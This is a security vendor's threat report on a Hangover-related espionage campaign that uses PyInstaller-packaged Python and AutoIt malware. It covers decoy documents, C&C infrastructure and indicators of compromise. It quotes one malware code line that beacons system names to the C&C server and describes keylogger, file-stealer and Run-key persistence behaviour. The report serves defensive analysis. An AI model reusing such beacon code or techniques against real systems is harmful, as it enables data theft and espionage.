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Snake In The Grass: Python-based Malware Used For Targeted Attacks

Snake In The Grass: Python-based Malware Used For Targeted Attacks

Snorre Fagerland, Jonathan Camp, Morten Kråkvik

 

 

Researchers at Blue Coat Systems have identified an intelligence-gathering campaign related to the Hangover operation detailed in 2013. The targets of this operation appear to be Pakistani and presumably represent military interests.

The malware used for this is very simple, but uses a little used format. Instead of the programming languages most commonly used for malware creation, the actors have turned to using Python, a powerful scripting language. The scripts were found embedded inside regular executable files designed to run Python scripts without having to install the full Python package.

The inclusion of malicious scripting code in relatively mainstream installers is probably done to avoid antivirus detections, and regular AV detection rates on these executables tend to be quite low.  However, BlueCoat Malware Analysis Appliance proactively detects these malwares with a high risk score.
Several indicators point towards the same attackers as were detailed in the Norman Shark (now part of Blue Coat Systems) Hangover report from last year. This campaign is not the first sign of life from these actors after we published our report – there have been several smaller initiatives during the autumn of 2013.

 

 

Initial malware

 

The initial installers of this campaign were discovered due to behavior similarities with previous Hangover-related malware. These appear to have been prepared for email distribution or possibly for web download. Four such installers were identified; files with the MD5 hash of:

0392fb51816dd9583f9cb206a2cf02d9, (original name Brief DG Arty-8 30 Aug.scr)
e6d9fce2c6e766b0899ac2e1691b8097, (original name Debriefing Indian Missile Def Prg.scr)
e013691e702778fa6dbc35b15555c3c2, (original name HQ Div Sp Eqs 21 Dec 2013 final.scr)
9d299d3a074f2809985e0317b9c461eb, (original name HQ 19 div CTGY PLAN-Offn Objs.scr)
 

These are all self-extracting archives (WinRAR SFX RAR and SFX ZIP), which again contain lure documents and a malicious Python installer.

0392fb51816dd9583f9cb206a2cf02d9:

 

These files are all created using the PyInstaller tool. The “archive-viewer.py” Python script provided with the PyInstaller package can be used to examine these installers:

 

Most of the objects in these packages are legitimate libraries and components required by the installer itself. The highlighted “send” object is where the malicious Python script resides.
And, as Python is a human-readable format, this makes analysis straightforward:

Python function made for testing connection to Command & Control servers. Note how worldvoicetrip[.]com can supply a new C&C server (“code4”) in domain.html.


There are two main functionalities for these scripts:

  • Harvest system information using existing system tools like systeminfo.exe. This information is attempted uploaded to Command & Control (C&C) server.
  • Download and execute more malicious executables.

 

Decoy documents

 

The documents accompanying the malware executables seem all related to Indian military matters. The excerpt below is labeled confidential; however the text is taken from a publicly available source at armscontrol.org. (https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances)


This document contains references to Artillery Firing Data Computing Devices (AFDCD’s), which are given to be Casio FX-750 and Casio FX-880-P. However, these are models of handheld calculators from 30 years ago. They are not used for military purposes today.
At least, I hope not.

 

 

Case expansion

 

Case expansion is the process of mapping out connections with other cases and malwares to understand the larger threat picture. This gives information about

  • what activities are ongoing
  • against whom
  • using what tools
  • and how to mitigate

 

This process involves multiple iterations of pivoting by a great deal of possible parameters – similarities in malware, similarities in network traffic, various domain registration and hosting information, passive DNS data etc.


We begin with the beginning – what we can learn from the initial malware files.

 

Command & Control – hosted malware

As shown previously, the C&C servers used in these malwares were:

games-playbox[.]com
worldvoicetrip[.]com

The latter server was down by the time we noticed the malware, but games-playbox[.]com still resolved to the IP 176.56.238.177, belonging to AS198203 ASN-ROUTELABEL RouteLabel V.O.F. in the Netherlands. Internal and public databases show that this server has been hosting malware for download:


hxxp://games-playbox[.]com/testing1/download/reg.exe
hxxp://176.56.238.177/testing2/download/reg.exe
hxxp://176.56.238.177/testing2/download/reg1.exe
hxxp://176.56.238.177/testing4/download/reg.exe
hxxp://176.56.238.177/testing2/download/winrm.exe
hxxp://176.56.238.177/testing2/download/sppsvc.exe
hxxp://games-playbox[.]com/winone1/download/stisvc.exe
hxxp://games-playbox[.]com/winone1/download/sppsvc.exe

Brute force testing showed that at least subfolders winone2, winone3 and winone4 contained similar content as winone1.

 

reg.exe, reg1.exe:

These are MINGW32 C++ (not Python) executables which have only one function – to insert a registry key that allows other malware to be run on startup. For example, the executable reg.exe (05dc62dcd4ddc9f2a79c5d23647c25c2) creates the key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run Search=C:\dir2\CscService.exe

This separation of functions is likely done to avoid detection logic that triggers on software that inserts itself into such run keys.

winrm.exe, stisvc.exe:

This executable is a data stealer, which enumerates folders and harvests files of format doc, xls, ppt, pps, inp, pdf, xlsx, docx, pptx.

sppsvc.exe:

This is a keylogger, which hooks keyboard and mouse events.

 

In connection with these findings we found that the same Python functionality was sometimes embedded in executable files of a slightly different format – namely py2exe. These files have a different internal structure than PyInstallers, but the embedded scripts can be extracted and decoded using the Python module uncompyle2.

 

 

Passive DNS analysis shows that games-playbox[.]com has shared IP address with other suspicious domains:

Rdata results for ANY/176.56.238.177    

techto-earth[.]com.       A     176.56.238.177
games-playbox[.]com.      A     176.56.238.177
download-mgrwin[.]com.    A     176.56.238.177


Indeed, techto-earth[.]com shows up in Google with an entry on the URL checking service URLQuery[.]net.


This download link (hxxp://techto-earth[.]com/eastwing/download/sppsvc.exe) was at the point of writing live, and the downloaded executable (md5 c571b77469ad3c5ef336860605ee85c6) was verified as a PyInstaller-based malware. Brute force attempts showed that this folder also contained stisvc.exe (md5 f2a1ca02bf4a63a3d4a6c6464f5a925b) and reg.exe; these have same functionality as the identically named executables found on games-playbox[.]com. The techto-earth[.]com domain now resolved to the IP address 81.4.125.90, similarly belonging to the Dutch provider RouteLabel.

 

The domain download-mgrwin[.]com which shared the IP 81.4.125.90 with techto-earth[.]com was also found to host similar malware:


hxxp://download-mgrwin[.]com/southside/download1/stisvc.exe
md5 6ec82e9eccb9bee050c9f7f2750d0c7c

hxxp://download-mgrwin[.]com/southside/download1/sppsvc.exe
md5 acfada8e91eda6cca2da66bbb032d924

hxxp://download-mgrwin[.]com/eastside/download/sppsvc.exe
md5 6dc9eee24f8d5cba1ca3919b87507d86

 

“Nick Agroyes”

Domain registration information is useful for connecting cases. Though often falsified, reuse of the same registrant information is common, thus providing a way of linking different domains.
download-mgrwin[.]com was registered on the email address info@communication-principals[.]com, purportedly belonging to one Nick Agroyes:
 

 

This is a faked record, but the same address was used to register other domains of which some have been documented used by malware - alertmymailsnotify[.]com, communication-principals[.]com, servicesprocessing[.]com and websourceing[.]com.

communication-principals[.]com:  md5: 664f32f06dd7bd8c94df6edfcf6285da
This is an exploited RTF file leveraging the CVE-2012-0158 RTF vulnerability which downloads a file from hxxp://communication-principals[.]com/vargualm12/putty.exe

servicesprocessing[.]com:
VirusTotal shows a number of links to malicious executables on this domain.
hxxp://servicesprocessing[.]com/naspckn/plugins/wsutils.exe
hxxp://servicesprocessing[.]com/naspckn/plugins/shlwapi.exe  
hxxp://servicesprocessing[.]com/panomasi/plugins/shlwapi.exe : md5 eeaf96b1988c7016780c0d91ce2451c8
hxxp://servicesprocessing[.]com/panomasi/plugins/wsutils.exe  : md5 4a9a912a8610495029ef3df813272d8a

 

Other registrants

The file 4a9a912a8610495029ef3df813272d8a has also been hosted elsewhere, on alertmymail[.]com:
hxxp://alertmymail[.]com/lotopoto07/plugins/wsutils.exe

This domain is registered on the registrant sakanika@rediffmail[.]com. Other domains owned by this entity are necessaries-documentation[.]com and accountsloginmail-process[.]com which show pDNS overlap with the previously mentioned malicious domains.
Passive DNS investigation and malware hosting data shows additional overlaps with the domains newsfairprocessing[.]com and manufacturing-minds[.]com. These domains were registered to the registrant tomhanks542@gmail[.]com.

Malware referenced in relation to these domains is for example:

md5: 6f9f2e57eb06c5385f7e9370a71aa34b. This is a MINGW C++ keylogger, hosted at:

hxxp://newsfairprocessing[.]com/imopo99/plugins/rpcapd.exe
hxxp://necessaries-documentation[.]com/khtergf5541/plugins/rpcapd.exe

 

AutoIt


Though many of the malwares we have examined in this campaign were based on Python, a number of similar malware files were found to be based on a different scripting language – AutoIt.  One such malware is known under the family name Emupry or AutoIt/Emupry.

The executable file “Quetta_Killings_Footage.exe” (md5 387947d5891aeb2c32f231e9abadfcec) connects to the known malicious domain communication-principals[.]com.  When the AutoIt script is extracted we see that important variables are base64-encoded. For clarity, these have shown inline as comments below:

 

Very similar AutoIt malware was found for the following C&C servers (domains in bold were documented in the original Hangover report):

 

MD5                                                            C&C domain

8c18852f79f14880ed9bd1d3be2fa48c    alertmymail[.]com
ddd6b9bef4d37b43484d1a0eab4753c6    alertmymail[.]com
99f7cb87a4acbbd2aed2c4e860cd0f5a    necessaries-documentation[.]com
04af2e8a7a1e934ab2000d701948a657    newsfairprocessing[.]com
1f72e19999d56a11cd564d1f7b0652e7    onestop-shops[.]com
2683e1d77b20e7aa75ade640ddb522d6    onestop-shops[.]com
6d6fe7d36e1c43aab534644378d56dfb    westdelsys[.]com
14a11b125f32a5a5773c23021ac4c1a1    manufacturing-minds[.]com
84e2d98e4b3272b953b63d2021735fd3    cloudone-opsource[.]com
fcccf9cb698297bb686561e7af7dad94    servicesprocessing[.]com
f0ef59265610dedab40f8386af79f861    knight-quest[.]com

 

HTTP request format


Note the form of the HTTP requests used by this AutoIt malware: http://server/folder/online.php?sysname=.

The Python malware we mentioned first in this article constructed identical requests:
dfiles5 = urlopen("http://"+ getserver + foldername+ "/online.php?sysname="+cname+"")

This request form was used in a number of Hangover-related cases as well. Given the similarities in methodology and targeting we consider it highly likely that the current attack malware and the Hangover infrastructures are related. It points towards the use of the same backend infrastructure, designed to control different types of malware.

 


A map of the attack infrastructure

Above: Infrastructure map.

 

 

Conclusion

 


This is an operation of far smaller scope than the original Hangover infrastructure; but as more capacity is rebuilt this might grow. We will keep an eye on what happens in this space.
It is noteworthy that they have adopted the use of scripting langauages for this type of data theft; scripts are easy to maintain even by novice programmers.

 

 

 

Indicators: Domains

accountsloginmail-process[.]com
alertmymail[.]com
alertmymailsnotify[.]com
cloudone-opsource[.]com
communication-principals[.]com
devilcreator[.]com
download-mgrwin[.]com
games-playbox[.]com
knight-quest[.]com
manufacturing-minds[.]com
necessaries-documentation[.]com
newsfairprocessing[.]com
onestop-shops[.]com
servicesloginmail-process[.]com
servicesprocessing[.]com
techto-earth[.]com
websourceing[.]com
westdelsys[.]com
worldvoicetrip[.]com

 

Indicators: IP addresses

176.56.238.177
213.229.64.222
37.59.175.131
46.32.235.162
81.4.125.90



Indicators: Malware MD5
 

04af2e8a7a1e934ab2000d701948a657    a24137ea1a87b89f24ecaa0b9cb5382a
14a11b125f32a5a5773c23021ac4c1a1    dedb56941cfaf1a650e38ba2b43c8e2b
1f72e19999d56a11cd564d1f7b0652e7    0392fb51816dd9583f9cb206a2cf02d9
2683e1d77b20e7aa75ade640ddb522d6    6ec82e9eccb9bee050c9f7f2750d0c7c
387947d5891aeb2c32f231e9abadfcec    9d299d3a074f2809985e0317b9c461eb
6d6fe7d36e1c43aab534644378d56dfb    acfada8e91eda6cca2da66bbb032d924
84e2d98e4b3272b953b63d2021735fd3    c571b77469ad3c5ef336860605ee85c6
8c18852f79f14880ed9bd1d3be2fa48c    e013691e702778fa6dbc35b15555c3c2
99f7cb87a4acbbd2aed2c4e860cd0f5a    e6d9fce2c6e766b0899ac2e1691b8097
a8bc0a09b5ee1e9ff40eac10ba0d43ed    f2a1ca02bf4a63a3d4a6c6464f5a925b
ddd6b9bef4d37b43484d1a0eab4753c6    0739e1aea8c2928b9d1b3bcd145e0bcb
f0ef59265610dedab40f8386af79f861    4a9a912a8610495029ef3df813272d8a
fcccf9cb698297bb686561e7af7dad94    eeaf96b1988c7016780c0d91ce2451c8
05dc62dcd4ddc9f2a79c5d23647c25c2    f5d4664a607386c342fdd3358ea38962
349583df5921e3d9fca9d4864072f6ca    f68eb7db21cd8abf5f60b16ca6c6a5e7
6f9f2e57eb06c5385f7e9370a71aa34b    664f32f06dd7bd8c94df6edfcf6285da
8dbadff3529ca03b8d453a7c9aaf3c6c    6dc9eee24f8d5cba1ca3919b87507d86

 

 

 

 

 

Passive DNS data used for this article were provided by Farsight Security, Inc.

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